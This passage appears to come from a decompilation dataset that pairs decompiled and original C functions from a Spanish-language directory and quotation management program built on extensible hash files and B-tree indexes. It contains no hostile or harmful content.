{
puts("Abortando...");
v8 = 1;
}
return v8;
}

original_code:
int main(int argc, char* argv[]){
 Usuarios_init();
 Servicios_init();
 Consultas_init();
 Cotizaciones_init();
 Categorias_init();
 printf(" Paginas Doradas ** \n");
 while(1){
  printf("Que desea hacer?\n");
  printf("1 - Conectarse\n");
  printf("2 - Crear usuario\n");
  printf("s - Salir\n");
  printf("Seleccione opcion\n");
  char opt = read_opt();
  if(opt == 's')
   break;
  switch(opt){
   case '1':
    conectarse();
    break;
   case '2':
    crear_usuario('u');
    break;
   default:
    break;
  }
 }
 Usuarios_end();
 Servicios_end();
 Consultas_end();
 Cotizaciones_end();
 Categorias_end();
}

canonical_original_code:
int main(int argc, char *argv[]){
 Usuarios_init();
 Servicios_init();
 Consultas_init();
 Cotizaciones_init();
 Categorias_init();
 printf(" Paginas Doradas ** \n");
 while(1){
  printf("Que desea hacer?\n");
  printf("1 - Conectarse\n");
  printf("2 - Crear usuario\n");
  printf("s - Salir\n");
  printf("Seleccione opcion\n");
  char opt = read_opt();
  if(opt == 's')
   break;
  switch(opt){
   case '1':
    conectarse();
    break;
   case '2':
    crear_usuario('u');
    break;
   default:
    break;
  }
 }
 Usuarios_end();
 Servicios_end();
 Consultas_end();
 Cotizaciones_end();
 Categorias_end();
}

variable_types: opt char


decompiled_code:
__int64 __fastcall Categorias_get_id(unsigned int *a1)
{
return *a1;
}

canonical_decompiled_code:
__int64 __fastcall func0(unsigned int *a1)
{
return *a1;
}

original_code:
unsigned int Categorias_get_id(uint8_t* ele, size_t size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}

canonical_original_code:
unsigned int Categorias_get_id(unsigned char *ele, unsigned long size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}

variable_types:
ele
unsigned char *

variable_types:
id
unsigned int


decompiled_code:
__int64 Categorias_init()
{
unsigned int v0; // edx

hash_categorias = HashExtensible_crear(
"./cat_hash_block.dat",
"./cat_hash_table.dat",
"./cat_hash_baja.dat",
512LL,
&HashDispersionModulo,
Categorias_get_id);
v0 = 1;
if ( hash_categorias )
{
categorias_last_id = getLastId("./cat_last_id.dat", "./cat_hash_table.dat", 1LL);
v0 = 0;
}
return v0;
}

canonical_decompiled_code:
__int64 func3()
{
unsigned int v0; // edx

hash_categorias = HashExtensible_crear(
"./cat_hash_block.dat",
"./cat_hash_table.dat",
"./cat_hash_baja.dat",
512LL,
&HashDispersionModulo,
Categorias_get_id);
v0 = 1;
if ( hash_categorias )
{
categorias_last_id = getLastId("./cat_last_id.dat", "./cat_hash_table.dat", 1LL);
v0 = 0;
}
return v0;
}

original_code:
int Categorias_init(){
 hash_categorias = HashExtensible_crear(
  "./cat_hash_block.dat",
  "./cat_hash_table.dat",
  "./cat_hash_baja.dat",
  (512),
  &HashDispersionModulo,
  &Categorias_get_id
 );
 if(!hash_categorias)
  return 1;
 categorias_last_id = getLastId("./cat_last_id.dat");
 return 0;
}


decompiled_code:
__int64 Categorias_end()
{
HashExtensible_destruir(hash_categorias);
writeLastId("./cat_last_id.dat", (unsigned int)categorias_last_id);
hash_categorias = 0LL;
categorias_last_id = 0;
return 0LL;
}

canonical_decompiled_code:
__int64 func4()
{
HashExtensible_destruir(hash_categorias);
writeLastId("./cat_last_id.dat", (unsigned int)categorias_last_id);
hash_categorias = 0LL;
categorias_last_id = 0;
return 0LL;
}

original_code:
int Categorias_end(){
 HashExtensible_destruir(hash_categorias);
 writeLastId("./cat_last_id.dat", categorias_last_id);
 hash_categorias = ((void *)0);
 categorias_last_id = 0;
 return 0;
}


decompiled_code:
__int64 __fastcall Categoria_free(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 1));
free(*((void **)ptr + 2));
free(ptr);
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func5(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 1));
free(*((void **)ptr + 2));
free(ptr);
result = 0LL;
}
return result;
}

original_code:
int Categoria_free(TCategoria* this){
 if(!this)
  return 1;
 free(this->nombre);
 free(this->descripcion);
 free(this);
 return 0;
}

canonical_original_code:
int Categoria_free(struct TCategoria *this){
 if(!this)
  return 1;
 free(this->nombre);
 free(this->descripcion);
 free(this);
 return 0;
}

variable_types: struct TCategoria { unsigned int id; char *nombre; char *descripcion; } *


decompiled_code:
__int64 __fastcall Categoria_get_id(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func6(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

original_code:
unsigned int Categoria_get_id(TCategoria* this){
 if(!this)
  return 0;
 return this->id;
}

canonical_original_code:
unsigned int Categoria_get_id(struct TCategoria *this){
 if(!this)
  return 0;
 return this->id;
}

user_defined_types: struct TCategoria { unsigned int id; char *nombre; char *descripcion; }


decompiled_code:
__int64 __fastcall Categoria_get_nombre(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 8);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func7(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 8);
else
result = 0LL;
return result;
}

original_code:
const char* Categoria_get_nombre(TCategoria* this){
 if(!this)
  return ((void *)0);
 return this->nombre;
}

canonical_original_code:
char *Categoria_get_nombre(struct TCategoria *this){
 if(!this)
  return ((void *)0);
 return this->nombre;
}

return_type: char *


decompiled_code:
__int64 __fastcall Categoria_get_descripcion(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func8(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

original_code:
const char* Categoria_get_descripcion(TCategoria* this){
 if(!this)
  return ((void *)0);
 return this->descripcion;
}

canonical_original_code:
char *Categoria_get_descripcion(struct TCategoria *this){
 if(!this)
  return ((void *)0);
 return this->descripcion;
}


decompiled_code:
__int64 __fastcall Servicios_get_id(unsigned int *a1)
{
return *a1;
}

original_code:
unsigned int Servicios_get_id(uint8_t* ele, size_t size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}

canonical_original_code:
unsigned int Servicios_get_id(unsigned char *ele, unsigned long size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}


decompiled_code:
__int64 Servicios_init()
{
unsigned int v0; // edx

hash_servicios = HashExtensible_crear(
"./serv_hash_block.dat",
"./serv_hash_table.dat",
"./serv_hash_baja.dat",
512LL,
&HashDispersionModulo,
Servicios_get_id);
v0 = 1;
if ( hash_servicios )
{
servicios_last_id = getLastId("./serv_last_id.dat", "./serv_hash_table.dat", 1LL);
indice_cat = Arbol_crear("./serv_arbm_cat.dat", 64LL);
v0 = 0;
}
return v0;
}

canonical_decompiled_code:
__int64 func4()
{
unsigned int v0; // edx

hash_servicios = HashExtensible_crear(
"./serv_hash_block.dat",
"./serv_hash_table.dat",
"./serv_hash_baja.dat",
512LL,
&HashDispersionModulo,
Servicios_get_id);
v0 = 1;
if ( hash_servicios )
{
servicios_last_id = getLastId("./serv_last_id.dat", "./serv_hash_table.dat", 1LL);
indice_cat = Arbol_crear("./serv_arbm_cat.dat", 64LL);
v0 = 0;
}
return v0;
}

original_code:
int Servicios_init(){
 hash_servicios = HashExtensible_crear(
  "./serv_hash_block.dat",
  "./serv_hash_table.dat",
  "./serv_hash_baja.dat",
  (512),
  &HashDispersionModulo,
  &Servicios_get_id
 );
 if(!hash_servicios)
  return 1;
 servicios_last_id = getLastId("./serv_last_id.dat");
 indice_cat = Arbol_crear("./serv_arbm_cat.dat", (64));
 return 0;
}


decompiled_code:
__int64 Servicios_end()
{
HashExtensible_destruir(hash_servicios);
writeLastId("./serv_last_id.dat", (unsigned int)servicios_last_id);
hash_servicios = 0LL;
servicios_last_id = 0;
Arbol_destruir(indice_cat);
indice_cat = 0LL;
return 0LL;
}

canonical_decompiled_code:
__int64 func5()
{
HashExtensible_destruir(hash_servicios);
writeLastId("./serv_last_id.dat", (unsigned int)servicios_last_id);
hash_servicios = 0LL;
servicios_last_id = 0;
Arbol_destruir(indice_cat);
indice_cat = 0LL;
return 0LL;
}

original_code:
int Servicios_end(){
 HashExtensible_destruir(hash_servicios);
 writeLastId("./serv_last_id.dat", servicios_last_id);
 hash_servicios = ((void *)0);
 servicios_last_id = 0;
 Arbol_destruir(indice_cat);
 indice_cat = ((void *)0);
 return 0;
}


decompiled_code:
__int64 __fastcall Servicio_free(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 1));
free(*((void **)ptr + 2));
free(ptr);
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func6(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 1));
free(*((void **)ptr + 2));
free(ptr);
result = 0LL;
}
return result;
}

original_code:
int Servicio_free(TServicio* this){
 if(!this)
  return 1;
 free(this->nombre);
 free(this->descripcion);
 free(this);
 return 0;
}

canonical_original_code:
int Servicio_free(struct TServicio *this){
 if(!this)
  return 1;
 free(this->nombre);
 free(this->descripcion);
 free(this);
 return 0;
}

variable_types: struct TServicio { unsigned int id; unsigned int dni_p; char *nombre; char *descripcion; char tipo; } *


decompiled_code:
__int64 __fastcall Servicio_get_id(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func7(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

original_code:
unsigned int Servicio_get_id(TServicio* this){
 if(!this)
  return 0;
 return this->id;
}

canonical_original_code:
unsigned int Servicio_get_id(struct TServicio *this){
 if(!this)
  return 0;
 return this->id;
}

user_defined_types: struct TServicio { unsigned int id; unsigned int dni_p; char *nombre; char *descripcion; char tipo; }


decompiled_code:
__int64 __fastcall Servicio_get_dni_p(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 4);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func8(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 4);
else
result = 0LL;
return result;
}

original_code:
unsigned int Servicio_get_dni_p(TServicio* this){
 if(!this)
  return 0;
 return this->dni_p;
}

canonical_original_code:
unsigned int Servicio_get_dni_p(struct TServicio *this){
 if(!this)
  return 0;
 return this->dni_p;
}


decompiled_code:
__int64 __fastcall Servicio_get_nombre(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 8);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func9(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 8);
else
result = 0LL;
return result;
}

original_code:
const char* Servicio_get_nombre(TServicio* this){
 if(!this)
  return ((void *)0);
 return this->nombre;
}

canonical_original_code:
char *Servicio_get_nombre(struct TServicio *this){
 if(!this)
  return ((void *)0);
 return this->nombre;
}


decompiled_code:
__int64 __fastcall Servicio_get_descripcion(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func10(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

original_code:
const char* Servicio_get_descripcion(TServicio* this){
 if(!this)
  return ((void *)0);
 return this->descripcion;
}

canonical_original_code:
char *Servicio_get_descripcion(struct TServicio *this){
 if(!this)
  return ((void *)0);
 return this->descripcion;
}


decompiled_code:
__int64 __fastcall Servicio_get_tipo(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned __int8 *)(a1 + 24);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func11(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned __int8 *)(a1 + 24);
else
result = 0LL;
return result;
}

original_code:
char Servicio_get_tipo(TServicio* this){
 if(!this)
  return 0;
 return this->tipo;
}

canonical_original_code:
char Servicio_get_tipo(struct TServicio *this){
 if(!this)
  return 0;
 return this->tipo;
}


decompiled_code:
__int64 __fastcall Servicio_agregar_categoria(int a1, unsigned int a2)
{
insertarIdIndiceCant(a1, a2);
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func12(int a1, unsigned int a2)
{
func3(a1, a2);
return 0LL;
}

original_code:
int Servicio_agregar_categoria(unsigned int id, unsigned int id_cat){
 _insertarIdIndiceCant(id, id_cat);
 return 0;
}


decompiled_code:
__int64 __fastcall Cotizaciones_get_id(unsigned int *a1)
{
return *a1;
}

original_code:
unsigned int Cotizaciones_get_id(uint8_t* ele, size_t size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}

canonical_original_code:
unsigned int Cotizaciones_get_id(unsigned char *ele, unsigned long size){
 unsigned int id = * ( (unsigned int*) ele);
 return id;
}


decompiled_code:
__int64 Cotizaciones_init()
{
unsigned int v0; // edx

hash_cotizaciones = HashExtensible_crear(
"./cot_hash_block.dat",
"./cot_hash_table.dat",
"./cot_hash_baja.dat",
512LL,
&HashDispersionModulo,
Cotizaciones_get_id);
v0 = 1;
if ( hash_cotizaciones )
{
cotizaciones_last_id = getLastId("./cot_last_id.dat", "./cot_hash_table.dat", 1LL);
indice_id_serv = Arbol_crear("./cot_arbm_serv.dat", 64LL);
indice_id_usu = Arbol_crear("./cot_arbm_dni.dat", 64LL);
v0 = 0;
}
return v0;
}

canonical_decompiled_code:
__int64 func5()
{
unsigned int v0; // edx

hash_cotizaciones = HashExtensible_crear(
"./cot_hash_block.dat",
"./cot_hash_table.dat",
"./cot_hash_baja.dat",
512LL,
&HashDispersionModulo,
Cotizaciones_get_id);
v0 = 1;
if ( hash_cotizaciones )
{
cotizaciones_last_id = getLastId("./cot_last_id.dat", "./cot_hash_table.dat", 1LL);
indice_id_serv = Arbol_crear("./cot_arbm_serv.dat", 64LL);
indice_id_usu = Arbol_crear("./cot_arbm_dni.dat", 64LL);
v0 = 0;
}
return v0;
}

original_code:
int Cotizaciones_init(){
 hash_cotizaciones = HashExtensible_crear(
  "./cot_hash_block.dat",
  "./cot_hash_table.dat",
  "./cot_hash_baja.dat",
  (512),
  &HashDispersionModulo,
  &Cotizaciones_get_id
 );
 if(!hash_cotizaciones)
  return 1;
 cotizaciones_last_id = getLastId("./cot_last_id.dat");
 indice_id_serv = Arbol_crear("./cot_arbm_serv.dat", (64));
 indice_id_usu = Arbol_crear("./cot_arbm_dni.dat", (64));
 return 0;
}


decompiled_code:
__int64 Cotizaciones_end()
{
HashExtensible_destruir(hash_cotizaciones);
writeLastId("./cot_last_id.dat", (unsigned int)cotizaciones_last_id);
hash_cotizaciones = 0LL;
cotizaciones_last_id = 0;
Arbol_destruir(indice_id_serv);
indice_id_serv = 0LL;
Arbol_destruir(indice_id_usu);
indice_id_usu = 0LL;
return 0LL;
}

canonical_decompiled_code:
__int64 func6()
{
HashExtensible_destruir(hash_cotizaciones);
writeLastId("./cot_last_id.dat", (unsigned int)cotizaciones_last_id);
hash_cotizaciones = 0LL;
cotizaciones_last_id = 0;
Arbol_destruir(indice_id_serv);
indice_id_serv = 0LL;
Arbol_destruir(indice_id_usu);
indice_id_usu = 0LL;
return 0LL;
}

original_code:
int Cotizaciones_end(){
 HashExtensible_destruir(hash_cotizaciones);
 writeLastId("./cot_last_id.dat", cotizaciones_last_id);
 hash_cotizaciones = ((void *)0);
 cotizaciones_last_id = 0;
 Arbol_destruir(indice_id_serv);
 indice_id_serv = ((void *)0);
 Arbol_destruir(indice_id_usu);
 indice_id_usu = ((void *)0);
 return 0;
}


decompiled_code:
unsigned int *__fastcall Cotizacion_new(unsigned int a1, unsigned int a2, const char *a3, __int64 a4, __int64 a5)
{
int v5; // ebp
void *v6; // rbx
unsigned int *v7; // r14
__int64 v9[6]; // [rsp+10h] [rbp-30h] BYREF

v9[0] = 0LL;
v5 = cotizaciones_last_id + 1;
v6 = (void *)cotBufDesdeData(cotizaciones_last_id + 1, a1, a2, a3, a4, a5, v9);
if ( (unsigned int)HashExtensible_insertar(hash_cotizaciones, v6, v9[0]) )
{
free(v6);
v7 = 0LL;
}
else
{
v7 = cotizacionDesdeBuf((__int64)v6, v9[0]);
free(v6);
insertarIdIndiceIdServ(v5, a1);
insertarIdIndiceIdDni(v5, a2);
++cotizaciones_last_id;
}
return v7;
}

canonical_decompiled_code:
unsigned int *__fastcall func7(unsigned int a1, unsigned int a2, const char *a3, __int64 a4, __int64 a5)
{
int v5; // ebp
void *v6; // rbx
unsigned int *v7; // r14
__int64 v9[6]; // [rsp+10h] [rbp-30h] BYREF

v9[0] = 0LL;
v5 = cotizaciones_last_id + 1;
v6 = (void *)func1(cotizaciones_last_id + 1, a1, a2, a3, a4, a5, v9);
if ( (unsigned int)HashExtensible_insertar(hash_cotizaciones, v6, v9[0]) )
{
free(v6);
v7 = 0LL;
}
else
{
v7 = func2((__int64)v6, v9[0]);
free(v6);
func3(v5, a1);
func4(v5, a2);
++cotizaciones_last_id;
}
return v7;
}

original_code:
TCotizacion* Cotizacion_new(
 unsigned int id_serv,
 unsigned int dni,
 char* pedido,
 char* fecha,
 char* hora
){
 unsigned int last_id = cotizaciones_last_id;
 size_t size = 0;
 uint8_t* buf = _cotBufDesdeData(
  last_id+1,
  id_serv,
  dni,
  pedido,
  fecha,
  hora,
  &size
 );
 if(HashExtensible_insertar(hash_cotizaciones, buf, size)){
  free(buf);
  return ((void *)0);
 }
 TCotizacion* cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 _insertarIdIndiceIdServ(last_id+1, id_serv);
 _insertarIdIndiceIdDni(last_id+1, dni);
 cotizaciones_last_id++;
 return cot;
}

canonical_original_code:
struct TCotizacion *Cotizacion_new(unsigned int id_serv, unsigned int dni, char *pedido, char *fecha, char *hora){
 unsigned int last_id = cotizaciones_last_id;
 unsigned long size = 0;
 unsigned char *buf = _cotBufDesdeData(
  last_id+1,
  id_serv,
  dni,
  pedido,
  fecha,
  hora,
  &size
 );
 if(HashExtensible_insertar(hash_cotizaciones, buf, size)){
  free(buf);
  return ((void *)0);
 }
 struct TCotizacion *cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 _insertarIdIndiceIdServ(last_id+1, id_serv);
 _insertarIdIndiceIdDni(last_id+1, dni);
 cotizaciones_last_id++;
 return cot;
}

variable_types:
pedido
char *

variable_types:
fecha
char *

variable_types:
hora
char *

variable_types:
buf
unsigned char *

variable_types: struct TCotizacion { unsigned int id; unsigned int id_serv; unsigned int dni; char *pedido; char *fecha; char *hora; } *


decompiled_code:
__int64 __fastcall Cotizacion_free(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 2));
free(*((void **)ptr + 3));
free(*((void **)ptr + 4));
free(ptr);
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func8(void *ptr)
{
__int64 result; // rax

result = 1LL;
if ( ptr )
{
free(*((void **)ptr + 2));
free(*((void **)ptr + 3));
free(*((void **)ptr + 4));
free(ptr);
result = 0LL;
}
return result;
}

original_code:
int Cotizacion_free(TCotizacion* this){
 if(!this)
  return 1;
 free(this->pedido);
 free(this->fecha);
 free(this->hora);
 free(this);
 return 0;
}

canonical_original_code:
int Cotizacion_free(struct TCotizacion *this){
 if(!this)
  return 1;
 free(this->pedido);
 free(this->fecha);
 free(this->hora);
 free(this);
 return 0;
}

user_defined_types: struct TCotizacion { unsigned int id; unsigned int id_serv; unsigned int dni; char *pedido; char *fecha; char *hora; }


decompiled_code:
unsigned int *__fastcall Cotizacion_from_id(unsigned int a1)
{
__int64 v1; // rax
void *v2; // rbx
unsigned int *v3; // rbp
__int64 v5[4]; // [rsp+8h] [rbp-20h] BYREF

v1 = HashExtensible_get(hash_cotizaciones, a1, v5);
v2 = (void *)v1;
if ( !v1 )
return 0LL;
v3 = cotizacionDesdeBuf(v1, v5[0]);
free(v2);
return v3;
}

canonical_decompiled_code:
unsigned int *__fastcall func9(unsigned int a1)
{
__int64 v1; // rax
void *v2; // rbx
unsigned int *v3; // rbp
__int64 v5[4]; // [rsp+8h] [rbp-20h] BYREF

v1 = HashExtensible_get(hash_cotizaciones, a1, v5);
v2 = (void *)v1;
if ( !v1 )
return 0LL;
v3 = func2(v1, v5[0]);
free(v2);
return v3;
}

original_code:
TCotizacion* Cotizacion_from_id(unsigned int id){
 uint8_t* buf;
 size_t size;
 if( ! (buf = HashExtensible_get(hash_cotizaciones, id, &size))){
  return ((void *)0);
 }
 TCotizacion* cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 return cot;
}

canonical_original_code:
struct TCotizacion *Cotizacion_from_id(unsigned int id){
 unsigned char *buf;
 unsigned long size;
 if( ! (buf = HashExtensible_get(hash_cotizaciones, id, &size))){
  return ((void *)0);
 }
 struct TCotizacion *cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 return cot;
}

return_type: struct TCotizacion { unsigned int id; unsigned int id_serv; unsigned int dni; char *pedido; char *fecha; char *hora; } *


decompiled_code:
__int64 __fastcall Cotizacion_get_id(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func10(unsigned int *a1)
{
__int64 result; // rax

if ( a1 )
result = *a1;
else
result = 0LL;
return result;
}

original_code:
unsigned int Cotizacion_get_id(TCotizacion* this){
 if(!this)
  return 0;
 return this->id;
}

canonical_original_code:
unsigned int Cotizacion_get_id(struct TCotizacion *this){
 if(!this)
  return 0;
 return this->id;
}


decompiled_code:
__int64 __fastcall Cotizacion_get_id_serv(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 4);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func11(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 4);
else
result = 0LL;
return result;
}

original_code:
unsigned int Cotizacion_get_id_serv(TCotizacion* this){
 if(!this)
  return 0;
 return this->id_serv;
}

canonical_original_code:
unsigned int Cotizacion_get_id_serv(struct TCotizacion *this){
 if(!this)
  return 0;
 return this->id_serv;
}


decompiled_code:
__int64 __fastcall Cotizacion_get_dni(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 8);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func12(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(unsigned int *)(a1 + 8);
else
result = 0LL;
return result;
}

original_code:
unsigned int Cotizacion_get_dni(TCotizacion* this){
 if(!this)
  return 0;
 return this->dni;
}

canonical_original_code:
unsigned int Cotizacion_get_dni(struct TCotizacion *this){
 if(!this)
  return 0;
 return this->dni;
}


decompiled_code:
__int64 __fastcall Cotizacion_get_pedido(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func13(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 16);
else
result = 0LL;
return result;
}

original_code:
const char* Cotizacion_get_pedido(TCotizacion* this){
 if(!this)
  return ((void *)0);
 return this->pedido;
}

canonical_original_code:
char *Cotizacion_get_pedido(struct TCotizacion *this){
 if(!this)
  return ((void *)0);
 return this->pedido;
}


decompiled_code:
__int64 __fastcall Cotizacion_get_fecha(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 24);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func14(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 24);
else
result = 0LL;
return result;
}

original_code:
const char* Cotizacion_get_fecha(TCotizacion* this){
 if(!this)
  return ((void *)0);
 return this->fecha;
}

canonical_original_code:
char *Cotizacion_get_fecha(struct TCotizacion *this){
 if(!this)
  return ((void *)0);
 return this->fecha;
}


decompiled_code:
__int64 __fastcall Cotizacion_get_hora(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 32);
else
result = 0LL;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func15(__int64 a1)
{
__int64 result; // rax

if ( a1 )
result = *(_QWORD *)(a1 + 32);
else
result = 0LL;
return result;
}

original_code:
const char* Cotizacion_get_hora(TCotizacion* this){
 if(!this)
  return ((void *)0);
 return this->hora;
}

canonical_original_code:
char *Cotizacion_get_hora(struct TCotizacion *this){
 if(!this)
  return ((void *)0);
 return this->hora;
}


decompiled_code:
unsigned int *__fastcall Cotizacion_del(unsigned int a1)
{
void *v1; // rbx
unsigned int *v2; // rbp
__int64 v4[4]; // [rsp+8h] [rbp-20h] BYREF

v1 = (void *)HashExtensible_del(hash_cotizaciones, a1, v4);
v2 = cotizacionDesdeBuf((__int64)v1, v4[0]);
free(v1);
return v2;
}

canonical_decompiled_code:
unsigned int *__fastcall func16(unsigned int a1)
{
void *v1; // rbx
unsigned int *v2; // rbp
__int64 v4[4]; // [rsp+8h] [rbp-20h] BYREF

v1 = (void *)HashExtensible_del(hash_cotizaciones, a1, v4);
v2 = func2((__int64)v1, v4[0]);
free(v1);
return v2;
}

original_code:
TCotizacion* Cotizacion_del(unsigned int id){
 size_t size;
 uint8_t* buf = HashExtensible_del(hash_cotizaciones, id, &size);
 TCotizacion* cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 return cot;
}

canonical_original_code:
struct TCotizacion *Cotizacion_del(unsigned int id){
 unsigned long size;
 unsigned char *buf = HashExtensible_del(hash_cotizaciones, id, &size);
 struct TCotizacion *cot = _cotizacionDesdeBuf(buf, size);
 free(buf);
 return cot;
}


heapify

original_code:
void heapify(void** array, size_t size, TCompareFunction cmp, int dsd){
 int i=0;
 for(i=dsd; i < size; i++){
  int parent = ( ( i- dsd -1)/2) + dsd;
  int j = i;
  while(parent >= dsd && cmp(*(array+parent), *(array+j)) < 0){
   void* aux = *(array+parent);
   *(array+parent) = *(array+j);
   *(array+j) = aux;
   j = parent;
   parent = (( parent - dsd -1)/2) + dsd;
  }
 }
}

canonical_original_code:
void heapify(void **array, unsigned long size, int (*cmp)(void *, void *), int dsd){
 int i = 0;
 for(i=dsd; i < size; i++){
  int parent = ( ( i- dsd -1)/2) + dsd;
  int j = i;
  while(parent >= dsd && cmp(*(array+parent), *(array+j)) < 0){
   void *aux = *(array+parent);
   *(array+parent) = *(array+j);
   *(array+j) = aux;
   j = parent;
   parent = (( parent - dsd -1)/2) + dsd;
  }
 }
}

variable_types:
array
void **

variable_types:
cmp
int (*)(void *, void *)

variable_types: dsd int

variable_types: parent int

variable_types: j int

variable_types:
aux
void *


heapsort

decompiled_code:
__int64 __fastcall heapsort(__int64 a1, unsigned __int64 a2, int (__fastcall *a3)(_QWORD, _QWORD))
{
__int64 i; // rbx
__int64 result; // rax

if ( a2 )
{
for ( i = 0LL; i != a2; ++i )
result = heapify(a1, a2, a3, i);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, unsigned __int64 a2, int (__fastcall *a3)(_QWORD, _QWORD))
{
__int64 i; // rbx
__int64 result; // rax

if ( a2 )
{
for ( i = 0LL; i != a2; ++i )
result = func0(a1, a2, a3, i);
}
return result;
}

original_code:
void heapsort(void** array, size_t size, TCompareFunction cmp){
 int i=0;
 for(i=0; i<size; i++){
  heapify(array, size, cmp, i);
 }
}

canonical_original_code:
void heapsort(void **array, unsigned long size, int (*cmp)(void *, void *)){
 int i = 0;
 for(i=0; i<size; i++){
  heapify(array, size, cmp, i);
 }
}

variable_types:
size
unsigned long

variable_types: i int


decompiled_code:
__int64 __fastcall Libre_agregar(__int64 *a1, void **a2, int a3)
{
__int64 v5; // rsi
void *v6; // rax

v5 = *a1 + 1;
*a1 = v5;
v6 = realloc(*a2, 4 * v5);
*a2 = v6;
*((_DWORD *)v6 + *a1 - 1) = a3;
return 0LL;
}

original_code:
int Libre_agregar(size_t* len, unsigned int **arr, unsigned int l){
 (*len)++;
 *arr = (unsigned int*) realloc(*arr, (*len) * sizeof(unsigned int));
 (*arr)[(*len)-1] = l;
 return 0;
}

canonical_original_code:
int Libre_agregar(unsigned long *len, unsigned int **arr, unsigned int l){
 (*len)++;
 *arr = (unsigned int *) realloc(*arr, (*len) * sizeof(unsigned int));
 (*arr)[(*len)-1] = l;
 return 0;
}

variable_types:
len
unsigned long *

variable_types:
arr
unsigned int **

variable_types:
l
unsigned int


decompiled_code:
__int64 __fastcall Libre_pop(_QWORD *a1, unsigned int *a2, _DWORD *a3)
{
unsigned int v3; // ecx

v3 = 0;
if ( *a1 )
{
--*a1;
*a3 = a2[*a2];
v3 = 1;
}
return v3;
}

canonical_decompiled_code:
__int64 __fastcall func3(_QWORD *a1, unsigned int *a2, _DWORD *a3)
{
unsigned int v3; // ecx

v3 = 0;
if ( *a1 )
{
--*a1;
*a3 = a2[*a2];
v3 = 1;
}
return v3;
}

original_code:
int Libre_pop(size_t* len, unsigned int *arr, unsigned int* l){
 if(! (*len))
  return 0;
 (*len)--;
 *l = arr[(*arr)];
 return 1;
}

canonical_original_code:
int Libre_pop(unsigned long *len, unsigned int *arr, unsigned int *l){
 if(! (*len))
  return 0;
 (*len)--;
 *l = arr[(*arr)];
 return 1;
}

variable_types:
arr
unsigned int *

variable_types:
l
unsigned int *


decompiled_code:
